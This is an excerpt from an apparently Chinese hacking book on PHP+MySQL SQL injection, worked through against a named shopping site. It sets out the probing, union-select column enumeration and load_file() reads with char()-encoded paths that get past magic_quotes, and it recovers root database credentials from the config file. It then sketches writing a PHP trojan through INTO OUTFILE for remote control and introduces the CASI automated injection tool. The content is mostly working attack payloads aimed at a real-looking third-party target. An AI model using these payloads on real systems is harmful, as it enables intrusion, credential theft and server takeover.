网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.8 构造PHP注入攻击

ASP注入攻击很普及了,但是相对而言,PHP注入攻击就没有那么普及了。这一节中我们将对PHP+MySQL注入攻击进行详细的介绍。

2.8.1 手工PHP注入

我们以“显卡团购”网站为例进行一次注入,找到注入点“http://go.dof.cn/eshop/php/Show.php? ID=6”,使用加单引号法在其后加上“' ”,返回信息为(图136):

            Fatal error: Call to undefined function: numrows() in d:\loca
            lhost\virtualhost\go_dof_cn\eshop\php\show.php on line 37

从返回的出错信息中可以得知网站的物理路径“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”。

再提交“and 1=1”,返回页面正常显示;再提交“and 1=2”,返回错误信息:“该商品暂时缺货.请原谅返回”(图136)。说明存在注入漏洞。

图136 返回信息

继续提交:“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1”,返回与图136相同的提示。

再提交“and 1=2 union select 1,2”,也是返回错误提示。

依次提交,当提交到“http://go.dof.cn/eshop/php/Show.php? ID=6 and 1=2 union select 1,2,3,4,5,6,7,8”时,出现了没有错误提示的页面(图137)。

图137 没有错误提示的页面

在页面中出现了Select后面的数字“2,4,5,7,8”,这些位置就是表示数据库中表字段出现的位置。从中可以推测

2,7,8为字符型数据,4,5为数字型数据。于是提交

            “union select 1, USER(),3, VERSION(), SESSION_USER(),6, DATABASE(),
            CURRENT_USER()”,

返回结果如图138所示。

图138 返回结果

其中USER( )、CURRENT_USER( )、SESSION_USER( )分别表示当前用户名、连接数据库的用户;其中DATABASE( )表示当前数据库,VERSION( )表示当前操作系统版本。从图中可知当前操作系统为“Windows NT”,当前用户为“root”,数据库为“intershop”。

2.8.2 读取PHP配置文件

提交语句“ and 1=2 union select 1,2,3,4,5,6,7, load_file(d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php)”,其中load_file( )函数是用来读取显示网站系统中某个文件的。

但是返回信息显示出错,这主要是因为服务器上的MYSQL数据库在配置时,设置了“magic_quotes_gpc=On”,所以提交的变量中的“' ”、“"”、“\”和空格字符等都会被自动转为含有反斜线的转义字符。所以指定的文件路径根本就不存在,从而返回了错误。

怎么才能正确返回读取的文件呢?可以将文件路径转化为ASCII码再进行提交。在这里“d:\localhost\virtualhost\go_dof_cn\eshop\php\show.php”转为成ASCII码后为:

            char(100,58,92,108,111,99,97,108,104,111,115,116,92,118,105,
            114,116,117,97,108,104,111,115,116,92,103,111,95,100,111,102,
            95,99,110,92,101,115,104,111,112,92,112,104,112,92,115,104,
            111,119,46,112,104,112)

所以提交如下语句:

            and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92,
            108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97,
            108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92,
            101,115,104,111,112,92,112,104,112,92,115,104,111,119,46,
            112,104,112))

返回信息如图139所示,页面中的字符串就是“show.php”文件内容。从返回的“show.php”文件中可以看到如下内容:

            “require_once(' ./../../include/config.inc.php' ); //包含“配置
            文件””;

从该处可以知道配置文件的物理路径为“d:\localhost\virtualhost\include\go_dof_cn\config.inc.php”。同样可将路径转换为ASCII码后进行提交:

            “and 1=2 union select 1,2,3,4,5,6,7, load_file(char(100,58,92,
            108,111,99,97,108,104,111,115,116,92,118,105,114,116,117,97,
            108,104,111,115,116,92,103,111,95,100,111,102,95,99,110,92,
            105,110,99,108,117,100,101,92,99,111,110,102,105,103,46,105,
            110,99,46,112,104,112))”;

图139 返回信息

返回信息如图140所示,这就是配置文件“config.inc.php”中的内容。从配置文件中可以看到如下信息:

图140 返回信息

            “//数据库信息
            $dbhost="localhost"        //数据库主机名
            $dbuser="root"      //数据库用户名
            $dbpasswd="******"   //数据库连接密码*******”

从中就可以看到连接数据库的用户名和密码了。如果服务器开放了远程SQL连接的话,就可以用SQL连接器连接上数据库,用得到的用户名和密码来登录。然后就可以进一步地使用insert语句将一个PHP木马代码写入表中,再用into outfile语句导出到Web目录下,就可对服务器进行远程控制了。具体的操作在此不做叙述,留待读者自行进一步深入学习。

在刚才的例子中,我们需要将字符串转换为ASCII码,可以用到这个注入格式转换器。运行程序后,在“字符”中输入文件路径,然后单击【转换】按钮,在下方的“ACS”中得到转换后的代码,单击【Copy】按钮将其复制到剪切板上(见图141)。

图141 注入格式转换器

2.8.3 CASI自动PHP注入

CASI是图形化的PHP注入工具,可以自动地报出用户字段名、密码字段名及其插入的位置。运行程序后,在“注射url”中输入注入点地址,在“判断字符”中输入“mysql_fetch_array”,单击【字段扫描】按钮即可开始进行扫描(图142)。扫描完毕后,在下方的浏览框中会显示注入点页面;并在“浏览器”组的“暴代码”中显示配置文件的路径,Load_file()的插入字段位置;在“暴密码”中显示用户名和密码字段,并显示其字段插入位置。按照上面介绍的手工注入的方法,就可以得到配置文件和用户名及密码等各种信息了。

此外,在CASI中还自带了一个SQL连接器,当得到SQL连接用户名和密码后,就可以用这个工具来连接,非常方便。

图142 CASI V 1.10正式版